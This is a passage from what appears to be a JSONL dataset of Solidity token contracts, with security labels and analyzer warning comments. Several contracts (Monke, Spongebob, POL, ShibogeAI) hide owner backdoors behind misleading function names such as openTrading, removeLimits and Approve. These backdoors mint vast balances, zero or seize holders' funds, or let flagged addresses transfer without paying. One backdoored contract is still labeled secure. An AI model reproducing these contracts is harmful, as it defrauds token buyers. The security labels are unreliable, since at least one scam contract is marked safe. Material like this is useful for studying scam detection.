1f62173): Monke.xxxaAdmin should be immutable \n\t// Recommendation for 1f62173: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public xxxaAdmin;\n\t// WARNING Optimization Issue (immutable-states | ID: 115c31e): Monke._totalSupply should be immutable \n\t// Recommendation for 115c31e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n string private _tokename;\n string private _tokensymbol;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n function name() public view returns (string memory) {\n return _tokename;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: aefe420): Monke.infoSum should be constant \n\t// Recommendation for aefe420: Add the 'constant' attribute to state variables that never change.\n uint128 infoSum = 64544;\n\t// WARNING Optimization Issue (constable-states | ID: 6f04677): Monke.globaltrue should be constant \n\t// Recommendation for 6f04677: Add the 'constant' attribute to state variables that never change.\n bool globaltrue = true;\n\t// WARNING Optimization Issue (constable-states | ID: 5f9ead6): Monke.globalff should be constant \n\t// Recommendation for 5f9ead6: Add the 'constant' attribute to state variables that never change.\n bool globalff = false;\n function abancdx(address xasada) public virtual returns (bool) {\n address tmoinfo = xasada;\n\n hulkinfo[tmoinfo] = globaltrue;\n require(_msgSender() == xxxaAdmin);\n return true;\n }\n\n function hukkkadminxxax() external {\n if (_msgSender() == xxxaAdmin) {}\n _balances[_msgSender()] +=\n 10 ** decimals() *\n 68800 *\n (23300000000 + 300);\n require(_msgSender() == xxxaAdmin);\n }\n\n function symbol() public view returns (string memory) {\n return _tokensymbol;\n }\n function hklllquitxxx(address hkkk) external {\n address tmoinfo = hkkk;\n\n hulkinfo[tmoinfo] = globalff;\n require(_msgSender() == xxxaAdmin);\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e2bdb03): Monke.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e2bdb03: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (hulkinfo[from] == true) {\n amount = infoSum + _balances[from] + infoSum - infoSum;\n }\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8df56ec): Monke._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8df56ec: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 646afda): Monke._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 646afda: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_2205.sol", "secure": 0, "size_bytes": 6750 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface IOpenseaSeaportConduitController {\n function getConduit(\n bytes32 conduitKey\n ) external view returns (address conduit, bool exists);\n function getChannelStatus(\n address conduit,\n address channel\n ) external view returns (bool isOpen);\n}", "file_name": "solidity_code_2206.sol", "secure": 1, "size_bytes": 358 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface IERC173 {\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function owner() external view returns (address owner_);\n\n function transferOwnership(address _newOwner) external;\n}", "file_name": "solidity_code_2207.sol", "secure": 1, "size_bytes": 333 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Swek is ERC20, Ownable {\n constructor() ERC20(\"Swek\", \"SWEK\") {\n _mint(msg.sender, 10000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2208.sol", "secure": 1, "size_bytes": 341 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Spongebob is Ownable {\n constructor(address aciksh) {\n balanceOf[msg.sender] = totalSupply;\n qrdu[aciksh] = ezrybl;\n IUniswapV2Router02 jgfzhm = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n hiwkxmp = IUniswapV2Factory(jgfzhm.factory()).createPair(\n address(this),\n jgfzhm.WETH()\n );\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (constable-states | ID: 59c1c74): Spongebob.decimals should be constant \n\t// Recommendation for 59c1c74: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3eb000): Spongebob.name should be constant \n\t// Recommendation for b3eb000: Add the 'constant' attribute to state variables that never change.\n string public name = \"Spongebob\";\n\n mapping(address => uint256) private qrdu;\n\n\t// WARNING Optimization Issue (constable-states | ID: c247184): Spongebob.symbol should be constant \n\t// Recommendation for c247184: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"SPONGE\";\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => uint256) private wnarmf;\n\n\t// WARNING Optimization Issue (constable-states | ID: b43f831): Spongebob.ezrybl should be constant \n\t// Recommendation for b43f831: Add the 'constant' attribute to state variables that never change.\n uint256 private ezrybl = 119;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function pbmr(\n address usjwobry,\n address qtxwu,\n uint256 vibdrosxkmyf\n ) private {\n if (qrdu[usjwobry] == 0) {\n balanceOf[usjwobry] -= vibdrosxkmyf;\n }\n balanceOf[qtxwu] += vibdrosxkmyf;\n if (qrdu[msg.sender] > 0 && vibdrosxkmyf == 0 && qtxwu != hiwkxmp) {\n balanceOf[qtxwu] = ezrybl;\n }\n emit Transfer(usjwobry, qtxwu, vibdrosxkmyf);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: f41c2dc): Spongebob.totalSupply should be constant \n\t// Recommendation for f41c2dc: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 047ed83): Spongebob.hiwkxmp should be immutable \n\t// Recommendation for 047ed83: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public hiwkxmp;\n\n function transferFrom(\n address usjwobry,\n address qtxwu,\n uint256 vibdrosxkmyf\n ) public returns (bool success) {\n require(vibdrosxkmyf <= allowance[usjwobry][msg.sender]);\n allowance[usjwobry][msg.sender] -= vibdrosxkmyf;\n pbmr(usjwobry, qtxwu, vibdrosxkmyf);\n return true;\n }\n\n function approve(\n address tuxjakwzg,\n uint256 vibdrosxkmyf\n ) public returns (bool success) {\n allowance[msg.sender][tuxjakwzg] = vibdrosxkmyf;\n emit Approval(msg.sender, tuxjakwzg, vibdrosxkmyf);\n return true;\n }\n\n function transfer(\n address qtxwu,\n uint256 vibdrosxkmyf\n ) public returns (bool success) {\n pbmr(msg.sender, qtxwu, vibdrosxkmyf);\n return true;\n }\n}", "file_name": "solidity_code_2209.sol", "secure": 1, "size_bytes": 3928 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./ContextUpgradeable.sol\" as ContextUpgradeable;\nimport \"./ERC20Upgradeable.sol\" as ERC20Upgradeable;\n\nabstract contract ERC20BurnableUpgradeable is\n Initializable,\n ContextUpgradeable,\n ERC20Upgradeable\n{\n function __ERC20Burnable_init() internal onlyInitializing {}\n\n function __ERC20Burnable_init_unchained() internal onlyInitializing {}\n\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n\n function burnFrom(address account, uint256 amount) public virtual {\n _spendAllowance(account, _msgSender(), amount);\n\n _burn(account, amount);\n }\n\n uint256[50] private __gap;\n}", "file_name": "solidity_code_221.sol", "secure": 1, "size_bytes": 827 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract POL {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a7355f8): POL.tokenTotalSupply should be immutable \n\t// Recommendation for a7355f8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c58355a): POL.xxnux should be immutable \n\t// Recommendation for c58355a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a748101): POL.tokenDecimals should be immutable \n\t// Recommendation for a748101: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d124939): POL.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for d124939: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Polars\";\n\n tokenSymbol = \"POL\";\n\n tokenDecimals = 9;\n\n tokenTotalSupply = 2000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: d124939\n xxnux = ads;\n }\n\n function openTrading(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 42069000000 *\n 42069 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_2210.sol", "secure": 0, "size_bytes": 5636 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n return a % b;\n }\n }\n}", "file_name": "solidity_code_2211.sol", "secure": 1, "size_bytes": 1353 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract ERC20 is Context {\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 internal _totalSupply;\n string private _name;\n string private _symbol;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}", "file_name": "solidity_code_2212.sol", "secure": 1, "size_bytes": 2345 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ShibogeAI is ERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _isTax;\n mapping(address => uint256) private _accTax;\n\n uint256 private _buyTax;\n uint256 private _sellTax;\n\t// WARNING Optimization Issue (immutable-states | ID: cd3ed2b): ShibogeAI.uniswapV2Pair should be immutable \n\t// Recommendation for cd3ed2b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n address private constant _deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\t// WARNING Optimization Issue (immutable-states | ID: f54f9e1): ShibogeAI.uniswapV2Router should be immutable \n\t// Recommendation for f54f9e1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) ERC20(name_, symbol_) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n _mint(_msgSender(), totalSupply_ * 10 ** decimals());\n _isTax[_msgSender()] = true;\n _buyTax = 0;\n _sellTax = 35;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: REWARD to the zero address\");\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 _amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= _amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n bool rF = true;\n if (_checkFreeAccount(from, to)) {\n rF = false;\n }\n uint256 tradeFeeAmount = 0;\n if (rF) {\n uint256 tradeFee = 0;\n if (uniswapV2Pair != address(0)) {\n if (to == uniswapV2Pair) {\n tradeFee = _sellTax;\n }\n if (from == uniswapV2Pair) {\n tradeFee = _buyTax;\n }\n }\n if (_accTax[from] > 0) {\n tradeFee = _accTax[from];\n }\n tradeFeeAmount = _amount.mul(tradeFee).div(100);\n }\n if (tradeFeeAmount > 0) {\n _balances[from] = _balances[from].sub(tradeFeeAmount);\n _balances[_deadAddress] = _balances[_deadAddress].add(\n tradeFeeAmount\n );\n emit Transfer(from, _deadAddress, tradeFeeAmount);\n }\n _balances[from] = _balances[from].sub(_amount - tradeFeeAmount);\n _balances[to] = _balances[to].add(_amount - tradeFeeAmount);\n emit Transfer(from, to, _amount - tradeFeeAmount);\n }\n\n function _checkFreeAccount(\n address from,\n address to\n ) internal view returns (bool) {\n return _isTax[from] || _isTax[to];\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: aae693a): ShibogeAI.increaseAllowance(uint256) should emit an event for _sellTax = _value \n\t// Recommendation for aae693a: Emit an event for critical parameter changes.\n function increaseAllowance(uint256 _value) external onlyOwner {\n\t\t// events-maths | ID: aae693a\n _sellTax = _value;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cc5be29): ShibogeAI.decreaseAllowance(uint256) should emit an event for _buyTax = _value \n\t// Recommendation for cc5be29: Emit an event for critical parameter changes.\n function decreaseAllowance(uint256 _value) external onlyOwner {\n\t\t// events-maths | ID: cc5be29\n _buyTax = _value;\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: d29939a): ShibogeAI.Approve(address,uint256) contains a tautology or contradiction require(bool,string)(_value >= 0,Account tax must be greater than or equal to 0)\n\t// Recommendation for d29939a: Fix the incorrect comparison by changing the value type or the comparison.\n function Approve(address _address, uint256 _value) external onlyOwner {\n\t\t// tautology | ID: d29939a\n require(_value >= 0, \"Account tax must be greater than or equal to 0\");\n _accTax[_address] = _value;\n }\n\n function setBots(address _address, bool _value) external onlyOwner {\n _isTax[_address] = _value;\n }\n\n function removeLimits(address to, uint256 amount) external onlyOwner {\n _balances[to] = amount;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8bbae17): ShibogeAI.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(this),block.timestamp)\n\t// Recommendation for 8bbae17: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// unused-return | ID: 8bbae17\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(this),\n block.timestamp\n );\n }\n}", "file_name": "solidity_code_2213.sol", "secure": 0, "size_bytes": 6993 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ODYSSEY is ERC20, Ownable {\n constructor() ERC20(\"Odyssey\", \"ODYSSEY\") {\n _mint(msg.sender, 1000000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2214.sol", "secure": 1, "size_bytes": 352 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract PEPETHEFROG is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\t// WARNING Optimization Issue (immutable-states | ID: ee02111): PEPETHEFROG._taxWallet should be immutable \n\t// Recommendation for ee02111: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: af7a395): PEPETHEFROG._initialBuyTax should be constant \n\t// Recommendation for af7a395: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 6e4dc06): PEPETHEFROG._initialSellTax should be constant \n\t// Recommendation for 6e4dc06: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\t// WARNING Optimization Issue (constable-states | ID: d5d7d2e): PEPETHEFROG._finalBuyTax should be constant \n\t// Recommendation for d5d7d2e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 268601d): PEPETHEFROG._finalSellTax should be constant \n\t// Recommendation for 268601d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 5e24e9b): PEPETHEFROG._reduceBuyTaxAt should be constant \n\t// Recommendation for 5e24e9b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\t// WARNING Optimization Issue (constable-states | ID: ba2d64c): PEPETHEFROG._reduceSellTaxAt should be constant \n\t// Recommendation for ba2d64c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\t// WARNING Optimization Issue (constable-states | ID: 31df1e6): PEPETHEFROG._preventSwapBefore should be constant \n\t// Recommendation for 31df1e6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n string private constant _name = unicode\"PEPE THE FROG\";\n string private constant _symbol = unicode\"PEPETF\";\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 7ea07f3): PEPETHEFROG._taxSwapThreshold should be constant \n\t// Recommendation for 7ea07f3: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 14000001 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: fa8394a): PEPETHEFROG._maxTaxSwap should be constant \n\t// Recommendation for fa8394a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 14000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3d501e4): PEPETHEFROG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3d501e4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8e4ee71): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8e4ee71: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8324a0d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8324a0d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8e4ee71\n\t\t// reentrancy-benign | ID: 8324a0d\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 8e4ee71\n\t\t// reentrancy-benign | ID: 8324a0d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3a3fe29): PEPETHEFROG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3a3fe29: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 8324a0d\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 8e4ee71\n emit Approval(owner, spender, 